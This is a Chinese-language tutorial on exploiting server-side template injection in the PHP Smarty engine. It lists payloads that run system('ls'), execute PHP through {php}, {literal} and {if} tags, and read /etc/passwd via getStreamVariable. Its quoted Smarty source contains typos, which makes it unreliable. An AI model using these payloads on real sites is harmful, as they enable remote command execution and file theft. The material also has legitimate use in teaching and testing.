当前位置: 首页 > news >正文

深入解析Smarty SSTI 利用

Smarty

Smarty是基于PHP开发的,对于Smarty的SSTI 的利用与常见的flask的SSTI有很大区别,了解过Jinjia2模板注入的应该知道,Jinjia2是基于python的,而Smarty是基于PHP的,所以使用起来还是比较容易地,我们只需要达到 命令执行即可

查看版本
{$smarty.version}
常用标签
{php}

Smarty支持使用{php}{/php}标签来执行被包裹其中地命令,最常规地思路就是先测试该标签

{php}phpinfo(){/php}

不过Smarty已经废弃了{php}标签。在Smarty3.1,{php}仅可以在Smarty BC中使用。

直接输入命令即可

{system('ls')}
{literal}标签

官方手册这样描述这个标签

{literal}可以让一个模板区域的字符原样输出,这样常常用于保护页面上的JavaScript或者CSS样式表,避免因为Smarty的定界符而被错误解析

使用JavaScript语句进行命令执行,常见的变形语句:

<script language="php">phpinfo();</script>

当然这样的语法,在php5中可以使用,在PHP7中不可以使用。

因为**{literal}**中支持JavaScript语法,所以我们可以RCE

{literal}<script language="php">phpinfo();</script>
{/literal}
调用静态方法

通过self获取Smarty类,再调用其静态方法实现文件读写

Smarty类的getStreamVariable方法的代码

public function getStreamVariable($variable) {$_result = '';$fp = fopen($variable,'r+');if ($fp) {while(!feof($fp) && (current_line = fgets($fp)) != false){$_result .= $current_line;}fclose($fp);return $_result;}$smarty = isset($this -> smarty)?$this->smarty : $this;if($smarth->error_unassigned) {throw new SmartyExcption('undefined stram variable ""'.$variable.'"');}else {return null;}
}

这个方法可以读取一个文件并返回其内容,所以我们可以使用self来获取smarty对象,并调用这个方法,很多文章里面给的payload都形如

{self::getStreamVariable("file:///etc/passwd")}
{if}

官方文档中这样描述

Smarty的{if}条件判断和PHP的if非常相似,只是增加了一些特性,每个{if}必须有一个配对的{/if},也可以使用{else}和{elseif},全部的PHP条件表达式和函数都可以在{if}内使用,比如|| 、 or 、 && 、 and 、is_array()等等,如{if_is_array($array)}{/if}*

既然全部的PHP函数都可以使用,那么我们可以是利用此来执行我们的代码

{if phpinfo()}{/if}
{if system('ls')}{/if}

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 艾体宝干货丨OIDA之一:掌握数据包分析-学会观察
  • 橙子投屏,轻松连接大屏幕
  • 数学建模2024国赛时间及事项安排
  • 基础概念与简单数据结构的笔记02
  • Linux shell编程学习笔记74:sed命令——沧海横流任我行(中)
  • 滚珠丝杆与支撑座的标准安装与调试方法!
  • 命令执行漏洞-rce
  • C++学习笔记——三角形面积
  • 2.2.2 Posix API与网络协议栈 3
  • react redux和@reduxjs/toolkit工具
  • SpringBoot集成kafka-监听器注解
  • 知识图谱问答召回机制-GraphRAG
  • “领导让我帮忙买30杯奶茶,实际花费535元,但领导却只转了500元,我该如何提醒领导转我35元的差额?”
  • 【全开源】php在线客服系统源码 (搭建教程+全新UI)
  • 如何上传NPM包:一步步指南
  • 实现windows 窗体的自己画,网上摘抄的,学习了
  • [笔记] php常见简单功能及函数
  • 《Java编程思想》读书笔记-对象导论
  • Android开发 - 掌握ConstraintLayout(四)创建基本约束
  • Django 博客开发教程 16 - 统计文章阅读量
  • JavaScript DOM 10 - 滚动
  • Javascript设计模式学习之Observer(观察者)模式
  • js写一个简单的选项卡
  • PAT A1017 优先队列
  • Quartz实现数据同步 | 从0开始构建SpringCloud微服务(3)
  • react-core-image-upload 一款轻量级图片上传裁剪插件
  • Sass 快速入门教程
  • storm drpc实例
  • 简单数学运算程序(不定期更新)
  • 如何进阶一名有竞争力的程序员?
  • - 语言经验 - 《c++的高性能内存管理库tcmalloc和jemalloc》
  • 带你开发类似Pokemon Go的AR游戏
  • ​​​【收录 Hello 算法】9.4 小结
  • #laravel 通过手动安装依赖PHPExcel#
  • #我与Java虚拟机的故事#连载03:面试过的百度,滴滴,快手都问了这些问题
  • #我与Java虚拟机的故事#连载04:一本让自己没面子的书
  • $GOPATH/go.mod exists but should not goland
  • $redis-setphp_redis Set命令,php操作Redis Set函数介绍
  • (C语言)二分查找 超详细
  • (pojstep1.1.1)poj 1298(直叙式模拟)
  • (ZT)薛涌:谈贫说富
  • (补)B+树一些思想
  • (附源码)python房屋租赁管理系统 毕业设计 745613
  • (附源码)springboot青少年公共卫生教育平台 毕业设计 643214
  • (简单有案例)前端实现主题切换、动态换肤的两种简单方式
  • (解决办法)ASP.NET导出Excel,打开时提示“您尝试打开文件'XXX.xls'的格式与文件扩展名指定文件不一致
  • (免费分享)基于springboot,vue疗养中心管理系统
  • (深度全面解析)ChatGPT的重大更新给创业者带来了哪些红利机会
  • (生成器)yield与(迭代器)generator
  • (原)本想说脏话,奈何已放下
  • (自适应手机端)响应式服装服饰外贸企业网站模板
  • (最新)华为 2024 届秋招-硬件技术工程师-单板硬件开发—机试题—(共12套)(每套四十题)
  • *** 2003
  • .NET : 在VS2008中计算代码度量值
  • .Net core 6.0 升8.0